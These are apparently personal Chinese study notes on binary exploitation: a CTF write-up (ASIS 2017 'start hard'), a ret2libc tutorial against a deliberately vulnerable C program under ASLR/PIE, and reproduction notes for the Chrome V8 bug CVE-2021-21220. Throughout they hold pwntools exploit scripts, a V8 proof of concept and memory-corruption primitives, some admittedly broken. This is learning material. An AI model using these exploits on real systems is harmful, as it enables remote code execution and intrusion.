pwn入门-4-one_gadget
未完待续: exp有问题…
题目来源:asis ctf quals 2017:start hard
https://github.com/boslash/bo8/tree/master/start_hard
1234567__int64 __fastcall main(int a1, char **a2, char **a3){ char buf[16]; // [rsp+10h] [rbp-10h] BYREF read(0, buf, 0x400uLL); return 0LL;}
用ida查看反汇编代码,一个很明显的缓冲区溢出漏洞,要看开启了什么保护,没有canary,栈好利用一些,但是开了nx,所以得用rop之类的
123456[*] '/tmp/starthard/start_hard' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
用one_gadget看有没有
12345678910111213141516171819root@VM-24-10-ubuntu:/tmp/starthard# one_gadget ./libc.so.6 0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xef6c4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf0567 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULLgef➤ telescope0x007fffffffe460│+0x0000: 0x007fffffffe568 → 0x007fffffffe7be → "/tmp/starthard/start_hard" ← $rsp0x007fffffffe468│+0x0008: 0x00000001004004300x007fffffffe470│+0x0010: 0x6161616161616161 ← $rsi0x007fffffffe478│+0x0018: 0x61616161616161610x007fffffffe480│+0x0020: 0x6161616161616161 ← $rbp0x007fffffffe488│+0x0028: 0x007ffff7a03c0a → <__libc_start_main+106> mov rsi, QWORD PTR [rsp+0x8]
溢出24字节,然后加上0x4526a即可,但是一直打失败了…是因为libc的问题吧,需要链接上 或者用本地的
0x4526a这个地址行吗???,这个地址是什么地址??
2023 7 28: 感觉思路没啥问题呀… 是不是可以爆破,是加了随机化是吗… 哦对…是libc中的one_gadget呀..那肯定加了随机化…
随机化了三个字符, 所以能怎么输入呢?
12345678910111213141516171819202122232425262728from pwn import *import timedef exploit(): p = process("./start_hard") payload = b"a" * 24 + p16(0xeafe) + p8(0x23) p.send(payload) # Add some delay after each attempt to avoid rapid execution issues time.sleep(0.5) # Read the output from the process p.interactive() # Check if the exploit was successful and print the result if b"Flag" in response: print("[+] Exploit successful! Flag:", response.split(b"\n")[-2]) else: print("[-] Exploit failed.") p.close()# Number of attempts you want to performnum_attempts = 100for _ in range(num_attempts): exploit()
在之前发送命令就可以!!
把回车重定向进去就可以了把
python3 final.py < huiche > tmp
问题来源:不知道libc的加载基地址 需要解决如何获得libc基址,但是刚才用vmmap查看,然后相加了呀,为啥不行呢?就算可以,对方是远程的,所以这样应该不行…应该需要先打印出来?
不是的,它是因为开了PIE,会有随机化,每次地址都会变
解决办法 libc中的各种函数的相对地址是固定的,按照往常套路,我们需要先泄露出一个函数的地址,然后计算偏移,但是在本题中没法进行泄露(或许可以????)
题解给的办法是,因为我们有read函数,可以利用它和onegadget的偏移,通过爆破?寻找onegadget,直接把read的got表给修改了成onegadget的,然后再次进行调用read就是调用onegadget了,就可以getshell了 所以思路应该是通过栈溢出构造gadget链子,先利用read函数,把read的got表改成onegadget的,然后返回main函数重新执行即可
构造payload ssize_t read(int fd, void buf, size_t* count**); read函数的含义是,从fd中读取count数据,写入到buf中,
问题是怎么构造read呢? 首先我们知道read的符号地址,可以直接进行调用,然后通过寄存器设置参数, count是不是可以不用设置??寻找pop rsi的gadget,传入read的got地址到buf变量,然后设置fd为onegadget的地址,然后最后将返回地址设置为main的就可以了!
关于onegadget地址的传参问题 但是问题是题解中的onegadget的地址是直接传参传进来的,不是通过设置rdi,这是为啥呢??? 是因为此时rdi为0,所以从标准输入中获取嘛?我觉得应该是,并且这个让我想到了pwnable的第一题…那应该就不奇怪了
关于onegadget 用的libc的问题 用的如果是自己的libc的话,
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep read@
ROPgadget –binary /lib/x86_64-linux-gnu/libc.so.6 –only ‘pop|ret’
0x000000000002164d : pop rsi ; pop r15 ; ret
echo 0 > /proc/sys/kernel/randomize_va_space
最终exp 这是作者给的原exp,实际上用的话可能需要简单修改
该exp首先填满缓冲区,然后通过 pop_rsi把read的got表地址赋值给rsi,即后面read的第二个参数buf,也就是我们要覆盖的地址,后面8个A是因为用的gadget多了一个pop r15,填入个垃圾数据就可以了. 然后pop完之后继续往下执行,执行到read的symbols,也就是去执行read函数,此时read还没有第一个参数fd,也就是从哪里读取,但是在调试的时候发现rdi是0,也就是从标准输入读取.不过为什么那么巧,rdi是0呢???万一不是0呢? 如果不是0的话,就需要gadget进行布置了
12345678910111213141516171819202122from pwn import *elf = ELF('./start_hard')pop_rsi = 0x004005c1 # pop rsi; pop r15; retone_gadget = 0x1147 # 0xf1147def pwn(): payload = "A"*(0x10 + 8) payload += p64(pop_rsi) + p64(elf.got['read']) + "A"*8 payload += p64(elf.symbols['read']) payload += p64(0x0040044d) # call __libc_start_main payload = payload.ljust(0x400, '\x00') io.send(payload) io.send(p16(one_gadget)) io.interactive()while True: io = remote('0.0.0.0.', 10001) # io = process('./start_hard') pwn()
其他需要储备的知识 + 问题64位传参和32位 不同的是,要用到寄存器: rdi rsi rdx rcx
关于read函数https://man7.org/linux/man-pages/man2/read.2.html
关于下断点调试分析 可以在call _read指令后面下断点,然后一点点调试分析
一直以来都犯了一个错误,觉得下断点应该在exp中用pause(),但是一直不知道怎么在payload打出去后,断下来,应该及时和同学交流的,这个问题的答案其实自己早就知道了,只是不知道原来是这样…
gdb.attach(io,”b __libc_start_main”) 其实就是这句, gdb attach的话下个断点就可以了,这样就可以在payload打之后一点点调试了
https://blog.csdn.net/fjh1997/article/details/105434992/
pop rsi是把它下面的那个给pop出来?还是找rsp? 看下面的第六行,这里pop rsi的话,是放在了返回地址,所以当执行到这里的时候,上面的栈的数据就是垃圾数据了,此时pop rsi下面这里是rsp的位置???
123456789gef➤ telescope0x007fff5df395c0│+0x0000: 0x007fff5df396c8 → 0x0000000000000000 ← $rsp0x007fff5df395c8│+0x0008: 0x00000001004004300x007fff5df395d0│+0x0010: 0x4141414141414141 ← $rsi0x007fff5df395d8│+0x0018: 0x41414141414141410x007fff5df395e0│+0x0020: 0x4141414141414141 ← $rbp0x007fff5df395e8│+0x0028: 0x000000004005c1 → pop rsi0x007fff5df395f0│+0x0030: 0x00000000601018 → 0x007fae5d96b020 → <read+0> lea rax, [rip+0x2e09b1] # 0x7fae5dc4b9d8 <__libc_multiple_threads>
给的libc.so.6怎么链接?/libc.so-3.6GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.Copyright (C) 2016 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
参考https://devcraft.io/posts/2017/04/09/start-hard-asis-ctf-quals-2017.html
pwn入门-3-os保护机制ALSR和PIE
漏洞代码123456789101112#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { vuln_func(); write(STDOUT_FILENO, "Hello world!\n", 13);}
开启NX,未开启ALSR和PIEecho 0 > /proc/sys/kernel/randomize_va_space // 关闭alsr
gcc -m32 -fno-stack-protector -z noexecstack dep.c
编译得到a.out
根据源代码可以知道,这是一个很明显有缓冲区溢出漏洞,定义的数组是128,但读入了256.
修改libc为2.23
patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./a.outpatchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./a.out
确定缓冲区大小输入一点字符
12345678910111213141516171819202122232425262728293031323334353637383940414243gef➤ telescope0xffffd520│+0x0000: 0x00000000 ← $esp0xffffd524│+0x0004: 0xffffd530 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd528│+0x0008: 0x000001000xffffd52c│+0x000c: 0x5655555c → <vuln_func+15> add eax, 0x1a780xffffd530│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd534│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd538│+0x0018: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd53c│+0x001c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd540│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd544│+0x0024: "aaaaaaaaaaaaaaaaaaaabbbb\n"gef➤0xffffd548│+0x0028: "aaaaaaaaaaaaaaaabbbb\n"0xffffd54c│+0x002c: "aaaaaaaaaaaabbbb\n"0xffffd550│+0x0030: "aaaaaaaabbbb\n"0xffffd554│+0x0034: "aaaabbbb\n"0xffffd558│+0x0038: "bbbb\n"0xffffd55c│+0x003c: 0x00000a ("\n"?)0xffffd560│+0x0040: 0x000000000xffffd564│+0x0044: 0x2c307d ("}0,"?)0xffffd568│+0x0048: 0x000000010xffffd56c│+0x004c: 0xf7ffc900 → 0x00000000gef➤0xffffd570│+0x0050: 0xffffd5c0 → 0xffffd5e0 → 0x000000010xffffd574│+0x0054: 0x000000000xffffd578│+0x0058: 0x010000000xffffd57c│+0x005c: 0xc34426000xffffd580│+0x0060: 0x000009 ("\t"?)0xffffd584│+0x0064: 0xffffd7ba → "/home/ubuntu/pwn/a.out"0xffffd588│+0x0068: 0xf7e15679 → <__new_exitfn+9> add ebx, 0x1a79870xffffd58c│+0x006c: 0xf7fc0808 → 0x000000000xffffd590│+0x0070: 0xf7fbd000 → 0x001d7d8c0xffffd594│+0x0074: 0xf7fbd000 → 0x001d7d8cgef➤0xffffd598│+0x0078: 0x000000000xffffd59c│+0x007c: 0xf7e157db → <__internal_atexit+59> add esp, 0x100xffffd5a0│+0x0080: 0xf7fbd3fc → 0xf7fbe200 → 0x000000000xffffd5a4│+0x0084: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]0xffffd5a8│+0x0088: 0xffffd67c → 0xffffd7d1 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"0xffffd5ac│+0x008c: 0x5655561b → <__libc_csu_init+75> add edi, 0x10xffffd5b0│+0x0090: 0x000000010xffffd5b4│+0x0094: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]0xffffd5b8│+0x0098: 0xffffd5c8 → 0x00000000 ← $ebp
0xffffd5b8 - 0xffffd520 = 152
为什么出不来书上的效果…pattern create 150那个
为什么书上的和自己运行的不一样? 哪里有区别?
因为减错了,应该0xffffd5b8 - 0xffffd530 = 136才对,再+4, 140覆盖掉ebp,然后下面的就是eip了
通过gef自带的命令123456789101112131415gef➤ pattern create 150[+] Generating a pattern of 150 bytes (n=4)aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma[+] Saved as '$_gef0'gef➤ rStarting program: /home/ubuntu/pwn/a.out[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fd8000'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaProgram received signal SIGSEGV, Segmentation fault.0x6261616b in ?? ()gef➤ pattern offset 0x6261616b[+] Searching for '0x6261616b'[+] Found at offset 140 (little-endian search) likely[+] Found at offset 1004 (big-endian search)
构造exp整理思路就是返回地址设置为 system,然后给一个参数/bin/sh就好了
问题就是寻找它俩的地址,关闭ALSR的情况下,libc的地址是固定的,可以在调试中确认system和/bin/sh的地址
123456gef➤ p system$1 = {int (const char *)} 0xf7e57db0 <__libc_system>gef➤ search-pattern "/bin/sh"[+] Searching '/bin/sh' in memory[+] In '/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'(0xf7e1d000-0xf7fcd000), permission=r-x 0xf7f78b2b - 0xf7f78b32 → "/bin/sh"
给的exp同样会有问题(注意 system和/bin/sh地址要根据实际情况修改,修改了也不行
[*] Got EOF while sending in interactive
默认开启了其他保护?????? gcc的问题???
12345678root@VM-24-10-ubuntu:/home/ubuntu/pwn# python3 exp1.py[+] Starting local process './a.out': pid 5096[*] '/home/ubuntu/pwn/a.out' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
gcc -m32 -fno-stack-protector -z noexecstack -z norelro dep.c -fno-pie -no-pie -o a.out
全关了也不行啊
libc的保护为什么不影响呢??
123456gef➤ p system$2 = {int (const char *)} 0xf7e223d0 <__libc_system>gef➤ search-pattern "/bin/sh"[+] Searching '/bin/sh' in memory[+] In '/lib/i386-linux-gnu/libc-2.27.so'(0xf7de5000-0xf7fba000), permission=r-x 0xf7f631db - 0xf7f631e2 → "/bin/sh"
调试一下,这种如何调试呢??????
0xf7e57db0
0xf7f78b2b
不知道为什么,重新编译了一遍就好了….太奇怪了
如何动态获取这俩地址呢?system_addr = libc.sym[‘system’] 这样是不行的,这个获取的是在libc里面的偏移,需要获取libc的加载地址
需要基地址,基地址怎么获取呢? 如果没开启ALSR和PIE的话,可以通过调试获取,pwntools里不能直接获取吗?
12345678gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x8047000 0x8048000 0x000000 rw- /home/ubuntu/pwn/a.out0x8048000 0x8049000 0x001000 r-x /home/ubuntu/pwn/a.out0x8049000 0x804a000 0x001000 rw- /home/ubuntu/pwn/a.out0xf7e1c000 0xf7e1d000 0x000000 rw-0xf7e1d000 0xf7fcd000 0x000000 r-x /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so
0xf7e1d000 + 0x3adb0 = 0xf7e57db0 这样就对上了
system_addr = 0xf7e1d000 + libc.sym[‘system’] 就可以得到system的地址了
但是 binsh_addr = 0xf7e1d000 + libc.search(b’/bin/sh’) 这个不会,会报错
oooooo需要加一个next
binsh_addr = 0xf7e1d000 + next(libc.search(b’/bin/sh’))
最后exp123456789101112131415from pwn import *log_level = "debug"io = process('./a.out')libc = ELF("/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")ret = 0xdeadbeefsystem_addr = 0xf7e1d000 + libc.sym['system']binsh_addr = 0xf7e1d000 + next(libc.search(b'/bin/sh'))#system_addr = 0xf7e57db0#binsh_addr = 0xf7f78b2bpayload = b"A" * 140 + p32(system_addr) + p32(ret) + p32(binsh_addr)io.send(payload)io.interactive()
在此基础之上,开启ALSRecho 2 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -z noexecstack -no-pie dep.c -o nopie.out
echo 2 > /proc/sys/kernel/randomize_va_space
cp ../glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6 ./
ASLR改变的是堆、栈、共享库(libc等)的位置,程序本身的地址是不变的,也就是vuln_func,main等这些地址.
构造exp那为啥exp中的write也是不变的呢??????因为这个write是plt中的write,不是libc中的,所以和延迟绑定有关?
0x8048320是write的地址,它是plt表的地址,所以,什么是plt表呢?
123.plt:08048320 _write proc near ; CODE XREF: main+2D↓p.plt:08048320 jmp ds:off_804A014.plt:08048320 _write endp
关于plt表https://blog.csdn.net/qq_38350702/article/details/123387642
所以说应该是plt表地址我们是知道的,但是got不知道,通过plt泄露got,进而得到system的got
因为system不在plt里,无法直接用system的plt
思路就是先用write泄露write在内存中的位置,然后利用write在libc中和system的偏移,进行计算system和/bin/sh
1234567891011121314151617181920from pwn import *io = process('./nopie.out')elf = ELF('./nopie.out')libc = ELF('./libc.so.6')vuln_func = 0x0804843b //vuln_funcpayload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)io.send(payload1)write_addr = u32(io.recv(4))system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
书里给的有问题,总感觉少了什么条件,exp跑不通
[] Switching to int eractive mode[] Got EOF while reading in interactive
为什么第一个exp不行,这个链接里的就可以??,进行分析
https://blog.csdn.net/weixin_44644249/article/details/113620457
首先先把payload进行输出
payload1和2
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x83\x04\x08;\x84\x04\x08\x01\x00\x00\x00\x14\xa0\x04\x08\x04\x00\x00\x00’b’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\xb0\xdd\xd8\xf7;\x84\x04\x08+\xeb\xea\xf7’
然后再看成功的
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk \x04V\x04\x00\x00 \x04\x04\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk°à÷junk+»ò÷
所以应该是编码问题?? 或者是作者用的python2?? 是python2和3的问题??
只能说自己太蠢了,(也想吐槽作者写的不好,不该写死的东西干嘛要写死,自己又没给二进制文件)
当然更重要的是,不能照抄别人的,要对exp的每一行的含义都了如指掌才可以!!!
作者在exp中给的 vuln_func的地址是写死的,但事实上自己编译的话肯定会有不同,所以需要根据实际情况修改, 或者直接动态获取,不要写死!!!
0x080484a5 <+26>: e8 ac ff ff ff call 0x8048456
exp修改的部分为vuln_func = elf.sym[“vuln_func”]
1234567891011121314151617181920from pwn import *io = process('./nopie.out')elf = ELF('./nopie.out')libc = ELF('./libc.so.6')vuln_func = elf.sym["vuln_func"] payload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)io.send(payload1)write_addr = u32(io.recv(4))system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
在此基础之上,开启PIE开启了pie后,程序的加载地址就不是固定的0x8048000了,所以直接用elf.sym[“vuln_func”] 是不行的,需要知道是从哪里开始加载的了
gcc -m32 -fno-stack-protector -z noexecstack -pie -fno-pie dep.c -o pie.out
patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./pie.outpatchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./pie.out
1234加载的时候,每次地址就不一样了0x565555a3 <main+17> call 0x5655556d <vuln_func>0x5655556d <vuln_func>: 0x81e58955
结果..加载的地址每次还是一样的,经过排查是gdb的问题
为什么gdb调试的时候,它的main的地址是不变的??? 运行的时候就是变的了????https://blog.csdn.net/weixin_43350880/article/details/98869099
因为gdb是默认关闭aslr的,通过在gdb中输入命令aslr on开启,然后每次加载的地址就不一样了
12345678910110x56630000 0x56631000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56631000 0x56632000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56632000 0x56633000 0x001000 rw- /home/ubuntu/pwn/pie.out0x56613000 0x56614000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56614000 0x56615000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56615000 0x56616000 0x001000 rw- /home/ubuntu/pwn/pie.out0x565f3000 0x565f4000 0x000000 r-x /home/ubuntu/pwn/pie.out0x565f4000 0x565f5000 0x000000 r-- /home/ubuntu/pwn/pie.out0x565f5000 0x565f6000 0x001000 rw- /home/ubuntu/pwn/pie.out
这样的话,elf.sym[“vuln_func”] 就不能用了,因为有一块随机加载的偏移,需要想办法泄露
假设我们已经泄露了
(在dep.c中加入 printf(“main addr: %p”,&main); 但是捏,这个有问题,问题就是哪怕你把它加在了前面,它也是后输出的,这是为什么呢,我们假设的应该是先得到这个地址,然后给vuln_func发送payload
12345678int main(int argc, char *argv[]) { printf("main addr: %p",&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n", 13);}Hello world!main addr: 0x5658c5d2
write这个应该是和缓冲区什么的有关
https://oomake.com/question/2542933
printf带缓冲区,所以要等缓冲区满或者遇到换行符才会输出,write不带缓冲区,直接就输出了
加一个换行符就可以了
printf(“main addr: %p\n”,&main);
exp这里假设了会泄漏main的地址,我们加一行代码就直接打印出来了,
printf(“%p\n”,&main);
然后接收main的地址,其他的思路就差不多了
1234567891011121314151617181920212223242526from pwn import *io = process('./pie.out')elf = ELF('./pie.out')libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')main_addr = int(io.recvline(), 16)base_addr = main_addr - elf.sym['main']vuln_func = base_addr + elf.sym['vuln_func']plt_write = base_addr + elf.sym['write']got_write = base_addr + elf.got['write']ebx = base_addr + 0x2000 # GOT addresspayload1 = "A"*132 + p32(ebx) + "AAAA" + p32(plt_write) + p32(vuln_func) + p32(1) + p32(got_write) + p32(4)io.send(payload1)write_addr = u32(io.recv())system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))payload2 = "B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
如果printf有其他字母呢,怎么接收?
CVE-2021-21220 Chrome v8远程代码执行漏洞复现与分析
tips:标记为橙色的为不严谨,有待研究
V8 漏洞利用之环境搭建一、编译环境搭建以下都出自这篇文章:https://zhuanlan.zhihu.com/p/493674086
更新软件列表、更新软件、安装依赖
12345sudo apt-get updatesudo apt-get upgradesudo apt install bison cdbs curl flex g++ git python vim pkg-config
安装depot_tools
123456mkdir /root/tools && cd /root/toolsgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git /root/tools/depot_toolsecho 'export PATH=$PATH:"/root/tools/depot_tools"' >> /etc/profileecho 'export PATH=$PATH:"/root/tools/depot_tools"' >> ~/.bashrcsource /etc/profilesource ~/.bashrc
安装ninja:
123git clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"$(pwd)/ninja"' >> ~/.bashrc
下载v8
1234mkdir /root/v8 && cd /root/v8fetch v8 #这个可能会花很长时间,取决于个人的网络环境,如果中断了则 gclient sync同步cd v8sudo ./build/install-build-deps.sh --no-chromeos-fonts # 在linux系统中这个命令是需要的
二、找漏洞版本commit编译的话,需要找到漏洞版本的github的commit
受影响的Chrome最高版本为:89.0.4389.114受影响的V8最高版本为:8.9.255.24
方法一https://omahaproxy.appspot.com
通过这个网站可以找漏洞版本的commit
方法二从漏洞的issue链接https://bugs.chromium.org/p/chromium/issues/detail?id=821137找到修复的commit链接https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d ,可以看到漏洞信息、存在漏洞的上一个版本(parent)、diff修复信息和漏洞poc
方法三直接从github找commit
https://github.com/v8/v8/tags?after=8.9.255
三、编译分了两个版本,一个是release,一个是debug
123456789进入到v8目录,选择好要编译的commit(不然默认编译最新的)git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599gclient sync # 同步更新# 编译可执行文件 (二选一)tools/dev/v8gen.py x64.debugninja -C out.gn/x64.debug d8上面和下面是二选一tools/dev/v8gen.py x64.relaseninja -C out.gn/x64.relase d8
这里有个坑,就是,debug版本会有很多调试信息,release没有,并且,release不能使用v8的gdb脚本(如job命令),如果想要release能使用gdb脚本的话,需要执行完tools/dev/v8gen.py x64.release后在生成的 out.gn/x64.release/args.gn中追加
1234v8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = true
参考:https://www.cjovi.icu/CVE/1586.html
四、配置v8自带的gdb脚本,方便调试v8自带了gdb调试脚本
1.把v8/tools/gdbinit内容加到~/.gdbint里面
2.将v8/tools/gdb-v8-support.py放到一个目录(当前也行)
在~/.gdbint开头加入 source /自定义目录/gdb-v8-support.py
参考:https://paper.seebug.org/1821/
RCE的完整步骤incorrect numeric (理解漏洞本身)POC
12345678910111213141516171819const _arr = new Uint32Array([2**31]);function foo(a) { var x = 1; x = (_arr[0] ^ 0) + 1; x = Math.abs(x); x -= 2147483647; x = Math.max(x, 0); x -= 1; if(x==-1) x = 0; var arr = new Array(x); arr.shift(); var cor = [1.1, 1.2, 1.3]; return [arr, cor];}
https://paper.seebug.org/1850/
https://paper.seebug.org/1556/
那么 这个长度-1的数组有什么用呢??????,见下面 Array.shift
OOB (out-of-bounds memory access) 越界访问abusing array bounds check elimination.
有历史沿革,之前是bounds-check elimination的问题,后来去掉了,但又有新的利用方式
利用Array.shift实现oobhttps://bugs.chromium.org/p/chromium/issues/detail?id=1198696
而负长度被视为一个正的大长度,因此该数组允许访问任意 OOB 数据。
1234567891011121314151617181920function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组 arr.shift(); let local_arr = Array(2); console.log("现在长度"+arr.length) local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; // return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr;
通过上述漏洞,我们实现了一个长度为-1的数组arr(corrput_arr),-1扩展为无符号,就是0xffffffff,是一个很大的正数,从而可以实现越界读写,在此基础之上,进行后面的利用
1.获得了一个0xfffffff(-1长度)数组 arr(corrput_arr)
2.声明一个local_arr(rwarr),长度为2, 接着利用arr的oob,溢出修改它的长度为0x22444,也就是corrput_arr[12] = 0x22444; (或者说 arr[12] = 0x22444;) 这一位对应的是数组的长度
3.声明长度为0x1000的ArrayBuffer(corrupt_buff)
在2、3两步,我们能够得到一个数组和一个ArrayBuffer,但是我们还不能任意读写这个ArrayBuffer,一种实现方法是,通过corrput_arr的溢出,将rwarr的长度变长,覆盖到ArrayBuffer,于是我们就能够对他进行任意读写,从而实现对内存任意地址读写(其实是受限的,rwx)
为什么要强调ArrayBuffer呢?且看下面
疑问:从而实现对rwarr(local_arr)的跨界访问,为啥要这样呢?? 为啥不直接用arr
越界访问rwarr数组(实现可控的JSArrayBuffer) 这张图比较形象,我们现在可以越界访问的是corrupt_arr,然后新建了一个rwarr数组,那么可以越界访问,把rwarr的长度修改的大一点,对应代码 corrput_arr[12] = 0x22444;
那么为什么数组的第13位是代表着它的长度呢?这个具体原理方法在参考博客里,和它的数据结构有关.
越界访问corrupt_buff(实现任意地址读写)http://www.hackdig.com/03/hack-70813.htm
背景知识:什么是backing_store? 对漏洞利用有什么用?
backing_store指向初始化JSArrayBuffer时用户申请大小的堆,如果我们控制了一个JSArrayBuffer相当于一个指针和指针的内容可以同时改写。这样我们改写backing_store读取控制的JSArrayBuffer的内容就是任意地址读;我们改写backing_store修改控制的JSArrayBuffer的内容就是任意地址写。
如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。
任意地址写(通过伪造backing_store)1234function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); }
从corrupt_buff中声明一个Dataview,而backing_store记录的就是实际DataView的内存地址。如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。
那么我们已经可以利用rwarr实现对corrupt_buff的任意读写,即可以任意修改backing_store.
任意地址读(类型混淆)1234function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); }
leakObjLow函数使用corrupt_buff的slot属性,修改该属性为某一对象o,那么o的地址就会被写入到corrupt_buff所在的内存区间中,然后利用rwarr的溢出访问该值,实现泄露。
这里是不是用了类型混淆??
利用oob造成类型混淆,那怎么利用呢?那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
https://www.freebuf.com/vuls/203721.html
addressOf 泄露某个对象的内存地址
123456789// 泄露某个object的地址function addressOf(obj_to_leak){ obj_array[0] = obj_to_leak; obj_array.oob(float_array_map); let obj_addr = f2i(obj_array[0]) - 1n; obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用 return obj_addr;}
